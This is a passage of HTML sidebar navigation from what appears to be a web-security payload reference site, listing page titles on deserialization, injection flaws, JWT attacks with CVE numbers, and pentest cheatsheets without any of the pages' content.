|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Insecure%20Deserialization/Java/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Java Deserialization
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Insecure%20Deserialization/Node/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Node Deserialization
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Insecure%20Deserialization/PHP/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
PHP Deserialization
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Insecure%20Deserialization/Python/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Python Deserialization
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Insecure%20Deserialization/Ruby/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Ruby Deserialization
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
</ul>
|
|||
|
</nav>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item md-nav__item--nested">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_26" >
|
|||
|
|
|||
|
|
|||
|
<label class="md-nav__link" for="__nav_26" id="__nav_26_label" tabindex="0">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Insecure Direct Object References
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
</label>
|
|||
|
|
|||
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_26_label" aria-expanded="false">
|
|||
|
<label class="md-nav__title" for="__nav_26">
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
Insecure Direct Object References
|
|||
|
</label>
|
|||
|
<ul class="md-nav__list" data-md-scrollfix>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Insecure%20Direct%20Object%20References/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Insecure Direct Object References
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
</ul>
|
|||
|
</nav>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item md-nav__item--nested">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_27" >
|
|||
|
|
|||
|
|
|||
|
<label class="md-nav__link" for="__nav_27" id="__nav_27_label" tabindex="0">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Insecure Management Interface
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
</label>
|
|||
|
|
|||
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_27_label" aria-expanded="false">
|
|||
|
<label class="md-nav__title" for="__nav_27">
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
Insecure Management Interface
|
|||
|
</label>
|
|||
|
<ul class="md-nav__list" data-md-scrollfix>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Insecure%20Management%20Interface/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Insecure Management Interface
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
</ul>
|
|||
|
</nav>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item md-nav__item--nested">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_28" >
|
|||
|
|
|||
|
|
|||
|
<label class="md-nav__link" for="__nav_28" id="__nav_28_label" tabindex="0">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Insecure Randomness
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
</label>
|
|||
|
|
|||
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_28_label" aria-expanded="false">
|
|||
|
<label class="md-nav__title" for="__nav_28">
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
Insecure Randomness
|
|||
|
</label>
|
|||
|
<ul class="md-nav__list" data-md-scrollfix>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Insecure%20Randomness/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Insecure Randomness
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
</ul>
|
|||
|
</nav>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item md-nav__item--nested">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_29" >
|
|||
|
|
|||
|
|
|||
|
<label class="md-nav__link" for="__nav_29" id="__nav_29_label" tabindex="0">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Insecure Source Code Management
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
</label>
|
|||
|
|
|||
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_29_label" aria-expanded="false">
|
|||
|
<label class="md-nav__title" for="__nav_29">
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
Insecure Source Code Management
|
|||
|
</label>
|
|||
|
<ul class="md-nav__list" data-md-scrollfix>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Insecure%20Source%20Code%20Management/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Insecure Source Code Management
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Insecure%20Source%20Code%20Management/Bazaar/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Bazaar
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Insecure%20Source%20Code%20Management/Git/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Git
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Insecure%20Source%20Code%20Management/Mercurial/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Mercurial
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Insecure%20Source%20Code%20Management/Subversion/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Subversion
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
</ul>
|
|||
|
</nav>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item md-nav__item--active md-nav__item--nested">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_30" checked>
|
|||
|
|
|||
|
|
|||
|
<label class="md-nav__link" for="__nav_30" id="__nav_30_label" tabindex="0">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
JSON Web Token
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
</label>
|
|||
|
|
|||
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_30_label" aria-expanded="true">
|
|||
|
<label class="md-nav__title" for="__nav_30">
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
JSON Web Token
|
|||
|
</label>
|
|||
|
<ul class="md-nav__list" data-md-scrollfix>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item md-nav__item--active">
|
|||
|
|
|||
|
<input class="md-nav__toggle md-toggle" type="checkbox" id="__toc">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<label class="md-nav__link md-nav__link--active" for="__toc">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
JWT - JSON Web Token
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
</label>
|
|||
|
|
|||
|
<a href="./" class="md-nav__link md-nav__link--active">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
JWT - JSON Web Token
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<nav class="md-nav md-nav--secondary" aria-label="Table of contents">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<label class="md-nav__title" for="__toc">
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
Table of contents
|
|||
|
</label>
|
|||
|
<ul class="md-nav__list" data-md-component="toc" data-md-scrollfix>
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="#summary" class="md-nav__link">
|
|||
|
<span class="md-ellipsis">
|
|||
|
Summary
|
|||
|
</span>
|
|||
|
</a>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="#tools" class="md-nav__link">
|
|||
|
<span class="md-ellipsis">
|
|||
|
Tools
|
|||
|
</span>
|
|||
|
</a>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="#jwt-format" class="md-nav__link">
|
|||
|
<span class="md-ellipsis">
|
|||
|
JWT Format
|
|||
|
</span>
|
|||
|
</a>
|
|||
|
|
|||
|
<nav class="md-nav" aria-label="JWT Format">
|
|||
|
<ul class="md-nav__list">
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="#header" class="md-nav__link">
|
|||
|
<span class="md-ellipsis">
|
|||
|
Header
|
|||
|
</span>
|
|||
|
</a>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="#payload" class="md-nav__link">
|
|||
|
<span class="md-ellipsis">
|
|||
|
Payload
|
|||
|
</span>
|
|||
|
</a>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
</ul>
|
|||
|
</nav>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="#jwt-signature" class="md-nav__link">
|
|||
|
<span class="md-ellipsis">
|
|||
|
JWT Signature
|
|||
|
</span>
|
|||
|
</a>
|
|||
|
|
|||
|
<nav class="md-nav" aria-label="JWT Signature">
|
|||
|
<ul class="md-nav__list">
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="#jwt-signature-null-signature-attack-cve-2020-28042" class="md-nav__link">
|
|||
|
<span class="md-ellipsis">
|
|||
|
JWT Signature - Null Signature Attack (CVE-2020-28042)
|
|||
|
</span>
|
|||
|
</a>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="#jwt-signature-disclosure-of-a-correct-signature-cve-2019-7644" class="md-nav__link">
|
|||
|
<span class="md-ellipsis">
|
|||
|
JWT Signature - Disclosure of a correct signature (CVE-2019-7644)
|
|||
|
</span>
|
|||
|
</a>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="#jwt-signature-none-algorithm-cve-2015-9235" class="md-nav__link">
|
|||
|
<span class="md-ellipsis">
|
|||
|
JWT Signature - None Algorithm (CVE-2015-9235)
|
|||
|
</span>
|
|||
|
</a>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="#jwt-signature-key-confusion-attack-rs256-to-hs256-cve-2016-5431" class="md-nav__link">
|
|||
|
<span class="md-ellipsis">
|
|||
|
JWT Signature - Key Confusion Attack RS256 to HS256 (CVE-2016-5431)
|
|||
|
</span>
|
|||
|
</a>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="#jwt-signature-key-injection-attack-cve-2018-0114" class="md-nav__link">
|
|||
|
<span class="md-ellipsis">
|
|||
|
JWT Signature - Key Injection Attack (CVE-2018-0114)
|
|||
|
</span>
|
|||
|
</a>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="#jwt-signature-recover-public-key-from-signed-jwts" class="md-nav__link">
|
|||
|
<span class="md-ellipsis">
|
|||
|
JWT Signature - Recover Public Key From Signed JWTs
|
|||
|
</span>
|
|||
|
</a>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
</ul>
|
|||
|
</nav>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="#jwt-secret" class="md-nav__link">
|
|||
|
<span class="md-ellipsis">
|
|||
|
JWT Secret
|
|||
|
</span>
|
|||
|
</a>
|
|||
|
|
|||
|
<nav class="md-nav" aria-label="JWT Secret">
|
|||
|
<ul class="md-nav__list">
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="#encode-and-decode-jwt-with-the-secret" class="md-nav__link">
|
|||
|
<span class="md-ellipsis">
|
|||
|
Encode and Decode JWT with the secret
|
|||
|
</span>
|
|||
|
</a>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="#break-jwt-secret" class="md-nav__link">
|
|||
|
<span class="md-ellipsis">
|
|||
|
Break JWT secret
|
|||
|
</span>
|
|||
|
</a>
|
|||
|
|
|||
|
<nav class="md-nav" aria-label="Break JWT secret">
|
|||
|
<ul class="md-nav__list">
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="#jwt-tool" class="md-nav__link">
|
|||
|
<span class="md-ellipsis">
|
|||
|
JWT tool
|
|||
|
</span>
|
|||
|
</a>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="#hashcat" class="md-nav__link">
|
|||
|
<span class="md-ellipsis">
|
|||
|
Hashcat
|
|||
|
</span>
|
|||
|
</a>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
</ul>
|
|||
|
</nav>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
</ul>
|
|||
|
</nav>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="#jwt-claims" class="md-nav__link">
|
|||
|
<span class="md-ellipsis">
|
|||
|
JWT Claims
|
|||
|
</span>
|
|||
|
</a>
|
|||
|
|
|||
|
<nav class="md-nav" aria-label="JWT Claims">
|
|||
|
<ul class="md-nav__list">
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="#jwt-kid-claim-misuse" class="md-nav__link">
|
|||
|
<span class="md-ellipsis">
|
|||
|
JWT kid Claim Misuse
|
|||
|
</span>
|
|||
|
</a>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="#jwks-jku-header-injection" class="md-nav__link">
|
|||
|
<span class="md-ellipsis">
|
|||
|
JWKS - jku header injection
|
|||
|
</span>
|
|||
|
</a>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
</ul>
|
|||
|
</nav>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="#labs" class="md-nav__link">
|
|||
|
<span class="md-ellipsis">
|
|||
|
Labs
|
|||
|
</span>
|
|||
|
</a>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="#references" class="md-nav__link">
|
|||
|
<span class="md-ellipsis">
|
|||
|
References
|
|||
|
</span>
|
|||
|
</a>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
</ul>
|
|||
|
|
|||
|
</nav>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
</ul>
|
|||
|
</nav>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item md-nav__item--nested">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_31" >
|
|||
|
|
|||
|
|
|||
|
<label class="md-nav__link" for="__nav_31" id="__nav_31_label" tabindex="0">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Java RMI
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
</label>
|
|||
|
|
|||
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_31_label" aria-expanded="false">
|
|||
|
<label class="md-nav__title" for="__nav_31">
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
Java RMI
|
|||
|
</label>
|
|||
|
<ul class="md-nav__list" data-md-scrollfix>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Java%20RMI/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Java RMI
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
</ul>
|
|||
|
</nav>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item md-nav__item--nested">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_32" >
|
|||
|
|
|||
|
|
|||
|
<label class="md-nav__link" for="__nav_32" id="__nav_32_label" tabindex="0">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
LDAP Injection
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
</label>
|
|||
|
|
|||
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_32_label" aria-expanded="false">
|
|||
|
<label class="md-nav__title" for="__nav_32">
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
LDAP Injection
|
|||
|
</label>
|
|||
|
<ul class="md-nav__list" data-md-scrollfix>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../LDAP%20Injection/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
LDAP Injection
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
</ul>
|
|||
|
</nav>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item md-nav__item--nested">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_33" >
|
|||
|
|
|||
|
|
|||
|
<label class="md-nav__link" for="__nav_33" id="__nav_33_label" tabindex="0">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
LaTeX Injection
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
</label>
|
|||
|
|
|||
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_33_label" aria-expanded="false">
|
|||
|
<label class="md-nav__title" for="__nav_33">
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
LaTeX Injection
|
|||
|
</label>
|
|||
|
<ul class="md-nav__list" data-md-scrollfix>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../LaTeX%20Injection/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
LaTeX Injection
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
</ul>
|
|||
|
</nav>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item md-nav__item--nested">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_34" >
|
|||
|
|
|||
|
|
|||
|
<label class="md-nav__link" for="__nav_34" id="__nav_34_label" tabindex="0">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Mass Assignment
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
</label>
|
|||
|
|
|||
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_34_label" aria-expanded="false">
|
|||
|
<label class="md-nav__title" for="__nav_34">
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
Mass Assignment
|
|||
|
</label>
|
|||
|
<ul class="md-nav__list" data-md-scrollfix>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Mass%20Assignment/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Mass Assignment
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
</ul>
|
|||
|
</nav>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item md-nav__item--nested">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_35" >
|
|||
|
|
|||
|
|
|||
|
<label class="md-nav__link" for="__nav_35" id="__nav_35_label" tabindex="0">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Methodology and Resources
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
</label>
|
|||
|
|
|||
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_35_label" aria-expanded="false">
|
|||
|
<label class="md-nav__title" for="__nav_35">
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
Methodology and Resources
|
|||
|
</label>
|
|||
|
<ul class="md-nav__list" data-md-scrollfix>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Methodology%20and%20Resources/Active%20Directory%20Attack/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Active Directory Attacks
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Methodology%20and%20Resources/Bind%20Shell%20Cheatsheet/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Bind Shell
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Methodology%20and%20Resources/Cloud%20-%20AWS%20Pentest/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Cloud - AWS
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Methodology%20and%20Resources/Cloud%20-%20Azure%20Pentest/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Cloud - Azure
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Methodology%20and%20Resources/Cobalt%20Strike%20-%20Cheatsheet/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Cobalt Strike
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
